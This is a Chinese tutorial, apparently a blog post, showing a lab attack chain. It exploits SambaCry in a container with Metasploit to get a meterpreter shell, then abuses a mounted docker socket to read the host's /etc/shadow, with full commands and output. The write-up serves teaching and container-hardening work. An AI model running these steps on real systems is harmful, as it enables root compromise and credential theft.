利用Docker容器的不安全部署获取宿主机权限

前言

滥用容器( container)及逃逸的方法有多种,本文将讨论最基本的一种,即滥用docker socket来逃逸容器并在宿主机上以root身份执行代码。

实验环境设置

由于我们将使用容器,因此你必须安装docker。

创建网络

首先,我们在创建容器的地方创建一个docker网络:

docker network create pwnage

启动易受攻击的容器

在本示例中,我将使用受SambaCry漏洞(CVE-2017-7494)影响的容器。有关该漏洞的更多信息,可以参阅opsxcq/exploit-CVE-2017-7494。

此漏洞允许你在Samba服务器中远程代码执行,我们将docker socket添加到容器中,以下是一个滥用docker的示例。

docker run --rm -it \

      --name vulnerable \

      --network pwnage \

      -v '/var/run/docker.sock:/var/run/docker.sock' \

      vulnerables/cve-2017-7494

启动攻击机

实验环境设置完成后,接下来我们需要将攻击者的主机添加到网络中。Samba Cry存储库中有一个漏洞利用代码,但这里我将使用Metasploit,因为它更容易上传我所需的内容。我已经为此构建了一个映像,只需运行bellow命令,所有内容都将根据实验环境需要运行:

docker run --rm -it \

      --network pwnage \

      -v '/usr/bin/docker:/docker:ro' \

      strm/metasploit

加载完成后,你将看到如下界面。

攻击利用

信息收集

在任何攻击或测试中,信息收集都是必不可少的一个环节。因此,让我们先来ping下易受攻击的容器检查下当前的连接情况。

ping -c 2 vulnerable

如果一切正常,你应该能看到以下输出信息。

msf5 > ping -c 2 vulnerable

[*] exec: ping -c 2 vulnerable

PING vulnerable (172.20.0.2) 56(84) bytes of data.

64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms

64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms

--- vulnerable ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1009ms

rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms

然后,我们进行基本的smb共享枚举:

use auxiliary/scanner/smb/smb_enumshares

set rhosts vulnerable

run

输出结果如下:

msf5 > use auxiliary/scanner/smb/smb_enumshares

msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable

rhosts => vulnerable

msf5 auxiliary(scanner/smb/smb_enumshares) > run

[+] 172.20.0.2:139        - data - (DS) Data

[+] 172.20.0.2:139        - IPC$ - (I) IPC Service (Crying samba)

[*] vulnerable:           - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

可以看到,这个samba服务器中有一个名为data的共享。

获取shell

下一步我们要做的是,针对宿主机运行漏洞利用程序获取shell。在Metasploit中,该漏洞名为is_known_pipename,位于exploit/linux/samba/is_known_pipename。

运行bellow命令攻击宿主机:

use exploit/linux/samba/is_known_pipename

set RHOST vulnerable

set RPORT 445

set payload linux/x64/meterpreter/bind_tcp

set TARGET 3

set SMB_FOLDER data

set SMBUser sambacry

set SMBPass nosambanocry

exploit

如果一切顺利,你将获取到一个meterpreter shell。如下:

msf5 > use exploit/linux/samba/is_known_pipename

msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable

RHOST => vulnerable

msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445

RPORT => 445

msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp

payload => linux/x64/meterpreter/bind_tcp

msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3

TARGET => 3

msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data

SMB_FOLDER => data

msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry

SMBUser => sambacry

msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry

SMBPass => nosambanocry

msf5 exploit(linux/samba/is_known_pipename) > exploit

[*] vulnerable:445 - Using location \\vulnerable\data\ for the path

[*] vulnerable:445 - Retrieving the remote path of the share 'data'

[*] vulnerable:445 - Share 'data' has server-side path '/data

[*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so

[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so...

[-] vulnerable:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND

[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so...

[-] vulnerable:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND

[*] Started bind TCP handler against vulnerable:4444

[*] Sending stage (816260 bytes) to vulnerable

meterpreter >

提权

我们将通过滥用容器内可用的docker socket来提权。由于docker在宿主机上是以root身份运行的,因此它也具有root权限。我们可以滥用它来执行多项操作。例如,使用—privileged选项可以为我们提供许多扩展功能,以下是从docker官方文档中提取的解释文本:

默认情况下,Docker的容器是没有特权的,例如不能在容器中再启动一个容器。这是因为默认情况下容器是不能访问任何其它设备的。但是通过”privileged”,容器就拥有了访问任何其它设备的权限。当操作者执行docker run —privileged时,Docker将拥有访问主机所有设备的权限,同时Docker也会在apparmor或者selinux做一些设置,使容器可以容易的访问那些运行在容器外部的设备。

你可以使用—device选项访问设备。但在本示例中,我将映射toor文件系统 (/) 到容器中并访问它。

由于此容器中没有docker客户端,因此下一步我们要做的就是在目标容器中设置docker客户端及其依赖项。你只需运行以下命令,即可完成所有这些操作。

upload /docker /docker

upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7

chmod 777 /docker

chmod +x /docker

meterpreter > upload /docker /docker

[*] uploading  : /docker -> /docker

[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker

[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker

[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker

[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker

[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker

[*] uploaded   : /docker -> /docker

meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7

[*] uploading  : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7

[*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7

[*] uploaded   : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7

meterpreter > chmod 777 /docker

meterpreter > chmod +x /docker

meterpreter >

现在,我们就可以使用docker来访问宿主机上的文件系统了。

execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

我们来转储下本地用户的哈希,输出结果如下:

meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

Process 113 created.

Channel 13 created.

root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::

daemon:*:17488:0:99999:7:::

bin:*:17488:0:99999:7:::

sys:*:17488:0:99999:7:::

sync:*:17488:0:99999:7:::

games:*:17488:0:99999:7:::

man:*:17488:0:99999:7:::

lp:*:17488:0:99999:7:::

mail:*:17488:0:99999:7:::

news:*:17488:0:99999:7:::

我自己是一名从事了十余年的后端的老程序员,辞职后目前在做讲师,近期我花了一个月整理了一份最适合2018年学习的JAVA干货(里面有高可用、高并发、高性能及分布式、Jvm性能调优、Spring源码,MyBatis,Netty,Redis,Kafka,Mysql,Zookeeper,Tomcat,Docker,Dubbo,Nginx等多个知识点的架构资料)从事后端的小伙伴们都可以来了解一下的,这里是程序员秘密聚集地,各位还在架构师的道路上挣扎的小伙伴们速来。“

加QQ群:854393687(名额有限哦!)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,524评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,869评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,813评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,210评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,085评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,117评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,533评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,219评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,487评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,582评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,362评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,218评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,589评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,899评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,176评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,503评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,707评论 2 335